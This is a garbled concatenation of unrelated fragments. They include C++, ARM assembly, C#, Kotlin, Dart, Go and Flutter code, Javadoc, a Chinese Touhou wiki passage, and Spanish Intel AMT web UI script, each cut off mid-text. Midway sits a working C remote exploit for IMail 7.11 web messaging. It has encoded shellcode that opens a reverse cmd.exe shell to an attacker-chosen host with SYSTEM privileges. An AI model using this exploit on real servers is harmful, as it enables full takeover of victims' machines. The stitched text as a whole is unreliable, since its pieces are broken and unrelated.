// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//
// ---------------------------------------------------------------------------
//
// The contents of this file must follow a specific format in order to
// support the CEF translator tool. See the translator.README.txt file in the
// tools directory for more information.
//

#ifndef CEF_INCLUDE_CEF_FIND_HANDLER_H_
#define CEF_INCLUDE_CEF_FIND_HANDLER_H_
#pragma once

#include "include/cef_base.h"
#include "include/cef_browser.h"

///
// Implement this interface to handle events related to find results. The
// methods of this class will be called on the UI thread.
///
/*--cef(source=client)--*/
class CefFindHandler : public virtual CefBase {
 public:
  ///
  // Called to report find results returned by CefBrowserHost::Find().
  // |identifer| is the identifier passed to Find(), |count| is the number of
  // matches currently identified, |selectionRect| is the location of where the
  // match was found (in window coordinates), |activeMatchOrdinal| is the
  // current position in the search results, and |finalUpdate| is true if this
  // is the last find notification.
  ///
  /*--cef()--*/
  virtual void OnFindResult(CefRefPtr<CefBrowser> browser,
                            int identifier,
                            int count,
                            const CefRect& selectionRect,
                            int activeMatchOrdinal,
                            bool finalUpdate) {}
};

#endif  // CEF_INCLUDE_CEF_FIND_HANDLER_H_


b	.L967
.L922:
	add	x1, x25, 24
	uxtw	x0, w4
	ldrb	w0, [x1, x0]
	lsl	w7, w24, w0
	sub	w20, w28, w0
	lsl	w0, w4, w0
	str	w0, [x19, 44]
	stp	w7, w20, [x19, 36]
	b	.L969
.L1026:
	lsl	w0, w6, 1
	orr	w0, w0, 1
	strb	w0, [x24, -1]
	ldr	w0, [x19, 44]
	ldp	w23, w27, [x19, 36]
	sub	w0, w0, #1
	lsl	w1, w0, 6
	sub	w0, w1, w0
	ubfx	x0, x0, 6, 24
	add	w20, w0, 1
	tbnz	w27, #31, .L1027
.L959:
	lsl	w0, w20, 24
	cmp	w0, w23
	bhi	.L960
.L1029:
	sub	w23, w23, w0
	ldr	w0, [x19, 44]
	add	x1, x25, 24
	mov	w6, 0
	sub	w0, w0, w20
	mov	w5, 6
	ldrb	w20, [x1, w0, uxtw]
	lsl	w23, w23, w20
	sub	w27, w27, w20
	lsl	w20, w0, w20
	str	w20, [x19, 44]
	stp	w23, w27, [x19, 36]
	b	.L963
	.p2align 3
.L961:
	lsl	w1, w20, 24
	add	x3, x25, 24
	cmp	w1, w23
	mov	w0, 0
	bhi	.L962
	ldr	w4, [x19, 44]
	lsl	w0, w26, w5
	sub	w23, w23, w1
	sub	w20, w4, w20
.L962:
	orr	w6, w6, w0
	ldrb	w0, [x3, w20, uxtw]
	sub	w5, w5, #1
	lsl	w23, w23, w0
	sub	w27, w27, w0
	lsl	w20, w20, w0
	cmn	w5, #1
	stp	w23, w27, [x19, 36]
	str	w20, [x19, 44]
	beq	.L1028
.L963:
	sub	w20, w20, #1
	ubfx	x20, x20, 1, 24
	add	w20, w20, 1
	tbz	w27, #31, .L961
	sub	w1, w22, w27
	sub	w28, w21, w27
	and	w1, w1, -8
	mov	x0, x19
	sub	w28, w28, w1
	add	w27, w1, w27
	and	w28, w28, 7
	stp	w5, w6, [x29, 124]
	bl	BsGet
	lsl	w0, w0, w28
	orr	w23, w0, w23
	ldp	w5, w6, [x29, 124]
	b	.L961
.L955:
	add	x1, x25, 24
	uxtw	x0, w20
	ldrb	w0, [x1, x0]
	lsl	w23, w23, w0
	sub	w27, w27, w0
	lsl	w0, w20, w0


Writer = CreateTestWriter();
            var configWriter = testWriter.ConfigWriter;

            configWriter.AddBuildSpec(@"MyProject/project.dsc", @"
import {Transformer} from 'Sdk.Transformers';

namespace M {
    const x = Transformer.sealDirectory(p`dirs`, glob(p`dirs`, ""*""));

    const a = p`dirs/a.txt`;
    const b = p`dirs/b.txt`;

    export const result = (x.getContent().length === 2) && (a === x.getContent()[0].path) && (b === x.getContent()[1].path);
}");

            testWriter.AddExtraFile(@"MyProject/dirs/a.txt", "Awesome");
            testWriter.AddExtraFile(@"MyProject/dirs/b.txt", "Super");

            var result = Evaluate(testWriter, @"MyProject/project.dsc", new[] {"M.result"});

            result.ExpectNoError();
            result.ExpectValues(count: 1);

            Assert.Equal(true, result.Values[0]);
        }

        [Fact]
        public void TestStaticDirectoryGetParent()
        {
            var testWriter = CreateTestWriter();
            var configWriter = testWriter.ConfigWriter;

            configWriter.AddBuildSpec(@"MyProject/project.dsc", @"
import {Transformer} from 'Sdk.Transformers';

namespace M {
    const d1: StaticDirectory = Transformer.sealDirectory(d`a/b/c`, [f`a/b/c/foo.cs`]);
    const p2 = d1.parent;
    const p3: Path = p`a/b`;
    export const r1 = (p2 === p3);
}");
            var result = Evaluate(testWriter, @"MyProject/project.dsc", new[] {"M.r1"});

            result.ExpectNoError();
            result.ExpectValues(count: 1);
            Assert.Equal(result.Values[0], true);
        }

        [Fact]
        public void TestStaticDirectoryHasParent()
        {
            var testWriter = CreateTestWriter();
            var configWriter = testWriter.ConfigWriter;

            configWriter.AddBuildSpec(@"MyProject/project.dsc", @"
import {Transformer} from 'Sdk.Transformers';

namespace M {
    const d1: StaticDirectory = Transformer.sealDirectory(d`a/b`, [f`a/b/foo.cs`]);
    export const r1 = d1.hasParent;
}");
            var result = Evaluate(testWriter, @"MyProject/project.dsc", new[] {"M.r1"});

            result.ExpectNoError();
            result.ExpectValues(count: 1);
            Assert.Equal(result.Values[0], true);
        }

        [Fact]
        public void TestStaticDirectoryGetName()
        {
            var testWriter = CreateTestWriter();
            var configWriter = testWriter.ConfigWriter;

            configWriter.AddBuildSpec(@"MyProject/project.dsc", @"
import {Transformer} from 'Sdk.Transformers';

namespace M
{
    const d1: StaticDirectory = Transformer.sealDirectory(d`a/b/bar`, [f`a/b/bar/foo.cs`]);
    const name1 = d1.name;

    const name2: PathAtom = PathAtom.create(""bar"");
    export const result = name1 === name2;
}");
            var result = Evaluate(testWriter, @"My


>Returns:
the markup_language

setMarkup_language

public void setMarkup_language(java.lang.String markup_language)

Parameters:
markup_language - the markup_language to set

getMarkup_language_version

public java.lang.String getMarkup_language_version()

Returns:
the markup_language_version

setMarkup_language_version

public void setMarkup_language_version(java.lang.String markup_language_version)

Parameters:
markup_language_version - the markup_language_version to set

toTextMDCharset

public static java.lang.String toTextMDCharset(java.lang.String srcCharset)

Transform a given charset in the "authorized" list given in the textMD schema enumeration.
 From the schema documentation on charset (http://www.loc.gov/standards/textMD/elementSet/index.html#element_charset).
 The character set employed by the text. Controlled vocab using IANA names for character sets:
 http://www.iana.org/assignments/character-sets.
 The problem arises because the java Charset uses the (preferred MIME name) where textMD uses the Name ...

Parameters:
srcCharset - charset from the file

Returns:
normalized charset

toISO_639_2

public static java.lang.String toISO_639_2(java.lang.String srcLang)

Transform a language to the ISO_639-2 language (only enumeration allowed in textMD schema).

Parameters:
srcLang - language in the file

Returns:
normalized language in 3 letters (except qaa-qtz)

<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="


 it.toInt()) }
        .let { it + b2 }.also { assertEquals(13, it.toInt()) }

    assertEquals(T.T.F.T, thirteen)

    val twelve =
      F.also { assertEquals(0, it.toInt()) }
        .let { it + b2 }.also { assertEquals(2, it.toInt()) }
        .let { it + b2 }.also { assertEquals(4, it.toInt()) }
        .let { it + b2 }.also { assertEquals(6, it.toInt()) }
        .let { it + b2 }.also { assertEquals(8, it.toInt()) }
        .let { it + b2 }.also { assertEquals(10, it.toInt()) }
        .let { it + b2 }.also { assertEquals(12, it.toInt()) }
  }

  @Test
  fun shlTest() {
    assertEquals(T.T * b2 * b2, T.T.F.F)
  }

  @Test
  fun ltrTest() {
    val fifteen = T.T.T.T

    assertEquals(15, fifteen.toInt())
  }

  @Test
  fun plusMinusTest() {
    val t0: T<T<Ø>> = T(T(Ø))
    val t1: T<T<Ø>> = F(F(T(Ø))).let { it - b3 }.let { it + b2 }
    assertEquals(t0, t1)
    val t2: T<T<Ø>> = t1.let { it - b1 }.let { it + b1 }
    assertEquals(t1, t2)
    val t3: T<T<Ø>> = t2.let { it - b2 }.let { it + b1 }.let { it + b1 }
    assertEquals(t2, t3)
  }

//  object P
//  object Q
//  object e // required to normalize even length sequences
//  object plus
//
//  infix fun <T> T.Q(e: e): T = this
//  infix fun <T> T.P(e: e): T = this
//  infix fun <Y, T> T.Q(t: Y): Pair<T, Pair<Q, Y>> = this to (Q to t)
//  infix fun <Y, T> T.P(t: Y): Pair<T, Pair<P, Y>> = this to (P to t)
//  operator fun <Y, T> T.plus(t: Y): Pair<T, Pair<plus, Y>> = this to (plus to t)
//
//  fun syntaxExperiment() {
//    // Maybe we can perform computation at a keystroke level?
//    val q = Q P P P Q + Q Q P P e
//    val r = P Q P Q P
//  }

//  @Test
//  fun flipAllTest() {
//    val q = T(T(F(T(F)))).flipAll()
//  }
}package ai.hypergraph.kaliningraph.sampling

import ai.hypergraph.kaliningraph.choose
import ai.hypergraph.kaliningraph.types.times
import kotlin.math.pow
import kotlin.random.Random
import kotlin.test.*

/*
./gradlew jvmTest --tests "ai.hypergraph.kaliningraph.sampling.SamplingTest"
*/
class SamplingTest {
/*
./gradlew jvmTest --tests "ai.hypergraph.kaliningraph.sampling.SamplingTest.testExhaustiveSearch"
*/
  @Test
  fun testExhaustiveSearch() =
    // Checks whether the exhaustive search is truly exhaustive
    ((2..5) * (2..5)).forEach { (s, dim) ->
      val base = (0..<s).map { "${it.digitToChar()}" }.toSet()
      val sfc = findAll(base, dim)
      assertEquals(s.toDouble().pow(dim).toInt(), sfc.toList().size)
      assertEquals(s.toDouble().pow(dim).toInt(), sfc.distinct().toList().size)
    }

/*
./gradlew jvmTest --tests "ai.hypergraph.kaliningraph.sampling.Sa


为名，组建了所谓「特別攻擊隊」，通称「神风特攻队」。[^cite_note-3]
    - 参见[Straw Doll Kamikaze/分析与考据](./Straw_Doll_Kamikaze-分析与考据.md)。

  - 「建御名方神」本身被奉为风之神。
    - 元日战争中，日本各地神社举行了祈祷胜利的一系列仪式，诹访大社的神明亦被镰仓幕府作为军神供奉。
    - 当地传说称，诹访的神明化作巨龙，毁灭了元军。

- 八坂（やさか）
  - 设定中[八坂神奈子](./八坂神奈子.md)为风神，[东风谷早苗](./东风谷早苗.md)本身为「風祝」（かぜはふり，祭祀风神的神官)。
  - 结合[东风谷早苗](./东风谷早苗.md)的符卡[奇迹「神之风」](./奇迹「神之风」.md)，从准备仪式到神风的奇迹，或指借助了[八坂神奈子](./八坂神奈子.md)的力量引发奇迹？
  - [八坂神奈子](./八坂神奈子.md)取材自「建御名方神」及其妻子「八坂刀売神」（やさかとめのかみ）。
    - 「八坂刀売神」也是被作为风之神得到供奉，亦传说称「八坂刀売神」为水神，其兄长为海神「綿津見」的儿子「穂高見命」。

### 奇跡「弘安の神風」

 **奇跡「弘安の神風」** 奇迹「弘安的神风」

- 弘安の神風[^cite_note-4]
  - 取自「弘安之役」，即1281年元朝入侵日本的第二次元日战争。
    - 当年7月30日夜，台风袭击了驻泊于博多湾中的元军舰队，造成元军多艘舰船沉没，最终元军撤走。
    - 日本将此风奉为「神风」，参考符卡[奇迹「神之风」](./奇迹「神之风」.md)。

[^cite_note-1]: （日文）日文维基百科：[神風](https://en.wikipedia.org/wiki/ja:神風)

## 参见
- [东风谷早苗/分析考据](./东风谷早苗-分析考据.md)

## 导航

<div class="noprint plainlinksneverexpand" style="background-color:transparent; padding:0; font-weight:normal; font-size:80%; white-space:nowrap


\x95\x95\x95\xa6\x55\xc5"
"\xd5\xc5\xd5\xc5\x6a\xc2\x79\x16\x6d\x6a\x9a\x11\x02\x95\x95\x95\x1e\x4d"
"\xf3\x52\x92\x97\x95\xf3\x52\xd2\x97\x80\x26\x52\xd2\x91\x55\x3d\x95\x94"
"\xff\x85\x18\x92\xc5\xc6\x6a\xc2\x61\xff\xa7\x6a\xc2\x49\xa6\x5c\xc4\xc3"
"\xc4\xc4\xc4\x6a\xe2\x81\x6a\xc2\x59\x10\x55\xe1\xf5\x05\x05\x05\x05\x15"
"\xab\x95\xe1\xba\x05\x05\x05\x05\xff\x95\xc3\xfd\x95\x91\x95\x95\xc0\x6a"
"\xe2\x81\x6a\xc2\x4d\x10\x55\xe1\xd5\x05\x05\x05\x05\xff\x95\x6a\xa3\xc0"
"\xc6\x6a\xc2\x6d\x16\x6d\x6a\xe1\xbb\x05\x05\x05\x05\x7e\x27\xff\x95\xfd"
"\x95\x91\x95\x95\xc0\xc6\x6a\xc2\x69\x10\x55\xe9\x8d\x05\x05\x05\x05\xe1"
"\x09\xff\x95\xc3\xc5\xc0\x6a\xe2\x8d\x6a\xc2\x41\xff\xa7\x6a\xc2\x49\x7e"
"\x1f\xc6\x6a\xc2\x65\xff\x95\x6a\xc3\x98\xa6\x55\x39\x10\x55\xe0\x6c\xc4"
"\xc7\xc3\xc6\x6a\x47\xcf\xcc\x3e\x77\x7b\x56\xd2\xf0\xe1\xc5\xe7\xfa\xf6"
"\xd4\xf1\xf1\xe7\xf0\xe6\xe6\x95\xd9\xfa\xf4\xf1\xd9\xfc\xf7\xe7\xf4\xe7"
"\xec\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0\xc5\xfc\xe5\xf0\x95\xd2\xf0\xe1\xc6"
"\xe1\xf4\xe7\xe1\xe0\xe5\xdc\xfb\xf3\xfa\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0"
"\xc5\xe7\xfa\xf6\xf0\xe6\xe6\xd4\x95\xc5\xf0\xf0\xfe\xdb\xf4\xf8\xf0\xf1"
"\xc5\xfc\xe5\xf0\x95\xd2\xf9\xfa\xf7\xf4\xf9\xd4\xf9\xf9\xfa\xf6\x95\xc2"
"\xe7\xfc\xe1\xf0\xd3\xfc\xf9\xf0\x95\xc7\xf0\xf4\xf1\xd3\xfc\xf9\xf0\x95"
"\xc6\xf9\xf0\xf0\xe5\x95\xed\xed\xed\xed\xed\xed\xed\xed\xed\xed\xed\x95"
"\xd6\xf9\xfa\xe6\xf0\xdd\xf4\xfb\xf1\xf9\xf0\x95\xc2\xc6\xda\xd6\xde\xa6"
"\xa7\x95\xc2\xc6\xd4\xc6\xe1\xf4\xe7\xe1\xe0\xe5\x95\xe6\xfa\xf6\xfe\xf0"
"\xe1\x95\xf6\xf9\xfa\xe6\xf0\xe6\xfa\xf6\xfe\xf0\xe1\x95\xf6\xfa\xfb\xfb"
"\xf0\xf6\xe1\x95\xe6\xf0\xfb\xf1\x95\xe7\xf0\xf6\xe3\x95\xf6\xf8\xf1\xbb"
"\xf0\xed\xf0\x95\xc9\x1d\xdc\x95\x20\x48\x54\x54\x50\x2F\x31\x2E\x30\x0d"
"\x0a\x0d\x0a";

main(char argc, char **argv){
	unsigned long ah;
	unsigned short int ap;
        int fd, i;
        int bufsize = 1024;
        int *buffer = (int *)malloc(bufsize);
        struct sockaddr_in sin;
        struct hostent *he;
        struct in_addr in;

	printf("IMail 7.11 remote exploit (SYSTEM level)\n");
	printf("2c79cbe14ac7d0b8472d3f129fa1df55 (c79cbe14ac7d0b8472d3f129fa1df55@yahoo.com)\n\n");

        if (argc < 5){
                printf("usage: %s <targethost> <iwebport> <localhost> <localport>\n\n", argv[0]);
                printf("iwebport: IMail Web Messaging port (default 8383)\n\n");
                exit(-1);
        }

        ap  = htons(atoi(argv[4]));
        ap ^= 0x9595;

        if ((he = gethostbyname(argv[3])) == 0){herror(argv[2]);exit(-1);}

        ah  = *((unsigned long *)he->h_addr);
        ah ^= 0x95959595;

        payload[747] = ((ap) & 0xff);
        payload[748] = ((ap >> 8) & 0xff);

        payload[752] = ((ah) & 0xff);
        payload[753] = ((ah >> 8) & 0xff);
        payload[754] = ((ah >> 16) & 0xff);
        payload[755] = ((ah >> 24) & 0xff);

	if((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0){perror("socket error");exit(-1);}

	if ((he = gethostbyname(argv[1])) != NULL){memcpy (&in, he->h_addr, he->h_length);}
	else
	if ((inet_aton(argv[1], &in)) < 0){printf("unable to resolve host");exit(-1);}

        sin.sin_family = AF_INET;
        sin.sin_addr.s_addr = inet_addr(inet_ntoa(in));
        sin.sin_port = htons(atoi(argv[2]));

	printf("ret: 0x10012490 (IMailsec.dll v.2.6.17.28)\n\n");
	printf("connecting...");

	if(connect(fd, (struct sockaddr *)&sin, sizeof(sin)) < 0){perror("connection error");exit(-1);}

	printf("done.\n");

	sleep(1);

	printf("dumping payload...");
	if(write(fd, payload, strlen(payload)) < strlen(payload)){perror("write error");exit(-1);}
	printf("done.\n\n");

	printf("cmd.exe spawned to [%s:%s]\n\n", argv[3], argv[4]);

	close(fd);

}


      this.visible = true});

  /// Address that triggers the contract
  final TronAddress ownerAddress;

  /// Contract address
  final TronAddress contractAddress;

  /// Function call, must not be left blank
  final String? functionSelector;

  /// Parameter encoding needs to be in accordance with the ABI rules,
  /// the rules are more complicated, users can use the ethers library to encode,For details,
  ///  please refer to the document-Guide-Smart Contract-Best Practice-Parameter Encoding and Decoding.
  final String? parameter;

  /// The data for interacting with smart contracts,
  /// including the contract function and parameters.
  /// You can choose to use this field, or you can choose to use function_selector
  /// and parameter for contract interaction. When both of data and function_selector exist,
  /// function_selector is preferred
  final String? data;

  /// Amount of TRX transferred with this transaction, measured in SUN (1 TRX = 1,000,000 SUN).
  final BigInt? callValue;

  /// Amount of TRC10 token transferred with this transaction
  final BigInt? callTokenValue;

  /// TRC10 token id
  final BigInt? tokenId;

  /// Maximum TRX consumption, measured in SUN (1 TRX = 1,000,000 SUN).
  final BigInt? feeLimit;

  /// for multi-signature
  final int? permissionId;
  final AbiFunctionFragment? fragment;
  @override
  final bool visible;

  /// wallet/triggersmartcontract
  @override
  TronHTTPMethods get method => TronHTTPMethods.triggersmartcontract;

  @override
  Map<String, dynamic> toJson() {
    return {
      'owner_address': ownerAddress.toAddress(visible),
      'contract_address': contractAddress.toAddress(visible),
      'function_selector': functionSelector,
      'parameter': parameter,
      'data': data,
      'call_value': callValue,
      'call_token_value': callTokenValue,
      'token_id': tokenId,
      'visible': visible,
      'fee_limit': feeLimit,
      'Permission_id': permissionId
    };
  }

  @override
  TronTransactionExtention onResonse(result) {
    return TronTransactionExtention.fromJson(result, fragment: fragment);
  }

  @override
  String toString() {
    return 'ParsedSmartContractRequest{${toJson()}}';
  }
}
import 'package:on_chain/aptos/src/account/authenticator/authenticator.dart';
import 'package:on_chain/aptos/src/account/core/account.dart';
import 'package:on_chain/aptos/src/account/public_key/single_key.dart';
import 'package:on_chain/aptos/src/account/types/types.dart';
import 'package:on_chain/aptos/src/keypair/core/keypair.dart';

class AptosSingleKeyAccount extends AptosAccount<AptosSingleKeyAccountPublicKey,
    AptosAccountAuthenticatorSingleKey, AptosAnySignature> {
  final AptosBasePrivateKey privateKey;
  AptosSingleKeyAccount(this.privateKey)
      : super(
            scheme: AptosSigningScheme.signleKey,
            publicKey: AptosSingleKeyAccountPublicKey(privateKey.publicKey));
  // Signs the digest with the private key and create authenticator.
  @override
  AptosAccountAuthenticatorSingleKey signWithAuth(List<int> digest) {
    final signature = privateKey.sign(digest);
    return AptosAccountAuthenticatorSingleKey(
        publicKey: publicKey.publicKey, signature: signature);
  }

  /// Signs the digest with the private key and returns the signature.
  @override
  AptosAnySignature sign(List<int> digest) {
    return privateKey.sign(digest);
  }
}
import 'package:blockchain_utils/blockchain


omitempty"`
	Name string `json:"name,omitempty" bson:"name,omitempty"`
}

// Setting represents the options of swirl.
type Setting struct {
	ID        string    `json:"id" bson:"_id"`
	Options   string    `json:"options" bson:"options"`
	UpdatedAt time.Time `json:"updatedAt" bson:"updated_at"`
	UpdatedBy Operator  `json:"updatedBy" bson:"updated_by"`
}

type Role struct {
	ID          string   `json:"id,omitempty" bson:"_id"`
	Name        string   `json:"name,omitempty" bson:"name" valid:"required"`
	Description string   `json:"desc,omitempty" bson:"desc,omitempty"`
	Perms       []string `json:"perms,omitempty" bson:"perms,omitempty"`
	UpdatedAt   Time     `json:"updatedAt" bson:"updated_at"`
	CreatedAt   Time     `json:"createdAt" bson:"created_at"`
	CreatedBy   Operator `json:"createdBy" bson:"created_by"`
	UpdatedBy   Operator `json:"updatedBy" bson:"updated_by"`
}

type User struct {
	ID        string       `json:"id,omitempty" bson:"_id"`
	Name      string       `json:"name" bson:"name" valid:"required"`
	LoginName string       `json:"loginName" bson:"login_name" valid:"required"`
	Password  string       `json:"-" bson:"password"`
	Salt      string       `json:"-" bson:"salt"`
	Email     string       `json:"email" bson:"email" valid:"required"`
	Admin     bool         `json:"admin" bson:"admin"`
	Type      string       `json:"type" bson:"type"`
	Status    int32        `json:"status" bson:"status"`
	Roles     []string     `json:"roles,omitempty" bson:"roles,omitempty"`
	Tokens    data.Options `json:"tokens,omitempty" bson:"tokens,omitempty"`
	CreatedAt Time         `json:"createdAt" bson:"created_at"`
	UpdatedAt Time         `json:"updatedAt" bson:"updated_at"`
	CreatedBy Operator     `json:"createdBy" bson:"created_by"`
	UpdatedBy Operator     `json:"updatedBy" bson:"updated_by"`
}

type UserSearchArgs struct {
	Name      string
	LoginName string
	Admin     bool
	Status    int32
	PageIndex int
	PageSize  int
}

type Registry struct {
	ID        string   `json:"id" bson:"_id"`
	Name      string   `json:"name" bson:"name"`
	URL       string   `json:"url" bson:"url"`
	Username  string   `json:"username" bson:"username"`
	Password  string   `json:"password,omitempty" bson:"password,omitempty"`
	CreatedAt Time     `json:"createdAt" bson:"created_at"`
	UpdatedAt Time     `json:"updatedAt" bson:"updated_at"`
	CreatedBy Operator `json:"createdBy" bson:"created_by"`
	UpdatedBy Operator `json:"updatedBy" bson:"updated_by"`
}

func (r *Registry) Match(image string) bool {
	return strings.HasPrefix(image, r.URL)
}

func (r *Registry) GetEncodedAuth() string {
	cfg := &types.AuthConfig{
		ServerAddress: r.URL,
		Username:      r.Username,
		Password:      r.Password,
	}
	if buf, e := json.Marshal(cfg); e == nil {
		return base64.URLEncoding.EncodeToString(buf)
	}
	return ""
}

type Stack struct {
	Name      string   `json:"name" bson:"_id"`
	Content   string   `json:"content" bson:"content"`
	Services  []string `json:"services,omitempty" bson:"-"`
	Internal  bool     `json:"internal" bson:"-"`
	CreatedAt Time     `json:"createdAt" bson:"created_at"`
	UpdatedAt Time     `json:"updatedAt" bson:"updated_at"`
	Cre


animations[2],
          builder: (context, child) {
            return Transform.translate(
              offset: Offset(0, _animations[2].value),
              child: Opacity(
                opacity: 1 - (_animations[2].value / 50),
                child: Column(
                  crossAxisAlignment: CrossAxisAlignment.start,
                  children: [
                    const Text(
                      '关于',
                      style: TextStyle(
                        fontSize: 18,
                        fontWeight: FontWeight.bold,
                      ),
                    ),
                    const SizedBox(height: 16),
                    _buildAboutSection(context),
                  ],
                ),
              ),
            );
          },
        ),
      ],
    );
  }

  Widget _buildApiSection(BuildContext context) {
    final provider = context.read<ChatProvider>();
    _userInfoFuture ??= provider.getUserInfo();

    return Column(
      crossAxisAlignment: CrossAxisAlignment.start,
      children: [
        _buildPlatformSelector(context),
        const SizedBox(height: 16),
        _buildApiKeyInput(context, provider, Theme.of(context)),
        const SizedBox(height: 16),
        FutureBuilder<UserInfo>(
          future: _userInfoFuture,
          builder: (context, snapshot) {
            if (snapshot.connectionState == ConnectionState.waiting || provider.isBalanceRefreshing) {
              return const Center(child: CircularProgressIndicator());
            }

            if (snapshot.hasError) {
              return Center(
                child: Text(
                  '获取用户信息失败: ${snapshot.error}',
                  style: TextStyle(color: Theme.of(context).colorScheme.error),
                ),
              );
            }

            final userInfo = snapshot.data!;
            return _buildBalanceInfo(userInfo, Theme.of(context));
          },
        ),
      ],
    );
  }

  Widget _buildPlatformSelector(BuildContext context) {
    final provider = context.watch<ChatProvider>();

    return Column(
      crossAxisAlignment: CrossAxisAlignment.start,
      children: [
        Text('选择平台', style: TextStyle(fontWeight: FontWeight.bold)),
        SizedBox(height: 8),
        Row(
          children: [
            Expanded(
              child: RadioListTile<String>(
                title: Text('硅基流动'),
                value: 'siliconflow',
                groupValue: provider.currentPlatform,
                onChanged: (value) {
                  if (value != null) {
                    provider.setPlatform(value);
                    // 切换平台后刷新用户信息
                    setState(() {
                      _userInfoFuture = provider.getUserInfo(forceRefresh: true);
                    });
                  }
                },
              ),
            ),
            Expanded(
              child: RadioListTile<String>(
                title: Text('DeepSeek官方'),
                value: 'deepseek',
                groupValue: provider.currentPlatform,
                onChanged: (value) {
                  if (value != null) {
                    provider.setPlatform(value);
                    // 切换平台后刷新用户信息
                    setState(() {
                      _userInfoFuture = provider.getUserInfo(forceRefresh: true);
                    });
                  }
                },
              ),
            ),
          ],
        ),
      ],
    );
  }

  Widget _buildApiKeyInput(BuildContext context, ChatProvider provider, ThemeData theme) {
    // 根据当前平台选择合适的 API Key 输入组件
    if (provider.currentPlatform == 'siliconflow') {
      // 使用硅基流动的 API Key 控制器
      _siliconflowApiKeyController.text = provider.siliconflowApiKey;
      return _buildPlatformApiKeyInput(
        context,
        '硅基流动 API Key',
        _siliconflowApiKeyController,
        theme,
        true, // isSiliconflow = true
      );
    } else if (provider.currentPlatform == 'deepseek') {
      // 使用 DeepSeek 的 API Key 控制器
      _deepseekApiKeyControll


#ifndef __INC_CHANNEL_INFO_H
#define __INC_CHANNEL_INFO_H

#define GET_CHNL_INFO(_pMgntInfo)	((PRT_CHANNEL_INFO)((_pMgntInfo)->pChannelInfo))

// Determine if the Channel Operation is in progress

#define CHNL_OP_IN_PROGRESS(_pChnlInfo)	\
		((_pChnlInfo)->ChnlOp > CHNLOP_NONE) ? TRUE : FALSE

#define CHNL_RUN_ABOVE_40MHZ(_pMgntInfo)	\
		(((_pMgntInfo)->dot11CurrentChannelBandWidth >= CHANNEL_WIDTH_40)?TRUE:FALSE)

#define CHNL_RUN_ABOVE_80MHZ(_pMgntInfo)	\
		(((_pMgntInfo)->dot11CurrentChannelBandWidth >= CHANNEL_WIDTH_80)?TRUE:FALSE)

u1Byte
CHNL_GetCenterFrequency(
	IN	u1Byte				Channel,
	IN	CHANNEL_WIDTH		ChnlBW,
	IN	EXTCHNL_OFFSET 		ExtChnlOffset
	);

EXTCHNL_OFFSET
CHNL_GetExt20OffsetOf5G(
	IN u1Byte			channel
	);

u1Byte
CHNL_IsLegalChannel(
	PADAPTER		Adapter,
	u8Byte			freq_channel
	);

BOOLEAN
CHNL_IsLegal5GChannel(
	IN PADAPTER			Adapter,
	IN u1Byte			channel
	);

BOOLEAN
CHNL_AcquireOpLock(
	PADAPTER	Adapter,
	CHNLOP		ChnlOp
	);

VOID
CHNL_ReleaseOpLock(
	PADAPTER	Adapter
	);

BOOLEAN
CHNL_ValidForWirelessMode(
	u1Byte	channel,
	u2Byte	wirelessmode
	);

CHANNEL_WIDTH
CHNL_GetRegBWSupport(
	IN	PADAPTER	Adapter
);

VOID
CHNL_ChangeBwChnlFromPeerWorkitemCallBack(
	IN	PVOID			Context
	);

VOID
CHNL_SetBwChnlFromPeer(
	IN	PADAPTER			Adapter
	);

BOOLEAN
CHNL_GetCurrnetChnlInfo(
	IN		PADAPTER	Adapter,
	OUT 	pu1Byte 		pBuf,
	IN OUT 	pu4Byte		pBufLen
	);

VOID
CHNL_SetBwChnlCallback(
	IN	PRT_TIMER		pTimer
	);

CHANNEL_WIDTH
CHNL_CheckChnlPlanWithBW(
	IN	PADAPTER			pAdapter,
	IN	u1Byte				PrimaryChnl,
	IN	CHANNEL_WIDTH		Bandwidth,
	IN	EXTCHNL_OFFSET		BwOffset
	);

VOID
CHNL_SetBwChnl(
	IN	PADAPTER			pAdapter,
	IN	u1Byte				PrimaryChnl,
	IN	CHANNEL_WIDTH		Bandwidth,
	IN	EXTCHNL_OFFSET		BwOffset
	);

VOID
CHNL_SetChnlInfoFromDestPort(
	IN	PADAPTER			pDestAdapter,
	IN	PADAPTER			pSrcAdapter
	);

BOOLEAN
CHNL_SwChnlAndSetBwInProgress(
	PADAPTER	Adapter
	);

u1Byte
RT_GetChannelNumber(
	IN	PADAPTER	Adapter
	);;

#endif


AddButton("Añadir perro guardián ...", 'AddWatchdog()'));
            x += '
';

            QH('id_TableSystemAgentPresence', x);
        }

        function getWatchdogTransitionStr(s) {
            if (s == 31) return "Cualquier estado";
            var x = '';
            for (var i in amtstack.WatchdogCurrentStates) { if ((s & i) != 0) { x += ', ' + amtstack.WatchdogCurrentStates[i]; } }
            return x.substring(2);
        }

        function showWatchdogDetails(i) {
            var w = xxWatchdog['AMT_AgentPresenceWatchdog'].responses[i];

            var x = '';
            //x += addHtmlValue("DeviceID", guidToStr(rstr2hex(atob(w['DeviceID']))));
            if (w['MonitoredEntityDescription'] && w['MonitoredEntityDescription'] != '') x += addHtmlValue("Descripción", EscapeHtml(w['MonitoredEntityDescription']));
            x += addHtmlValue("Entidad monitoreada", watchdogMonitoredEntity[w['MonitoredEntity']]);
            x += addHtmlValue("Estado actual", amtstack.WatchdogCurrentStates[w['CurrentState']]);
            x += addHtmlValue("Estado habilitado", watchdogEnabledStates[w['EnabledState']]);
            x += addHtmlValue("Intervalo de inicio", w['StartupInterval'] + " segundos)");
            x += addHtmlValue("Intervalo de tiempo de espera", w['TimeoutInterval'] + " segundos)");

            setDialogMode(11, format("Perro guardián {0}", guidToStr(rstr2hex(atob(w['DeviceID'])))), 5, showWatchdogDetailsOk, x, w);
        }

        function showWatchdogDetailsOk(x, w) {
            if (x == 2) {
                amtstack.Delete('AMT_AgentPresenceWatchdog', { 'DeviceID': w['DeviceID'] }, PullWatchdog);
            }
        }

        function AddWatchdog() {
            var x = '';
            x += '
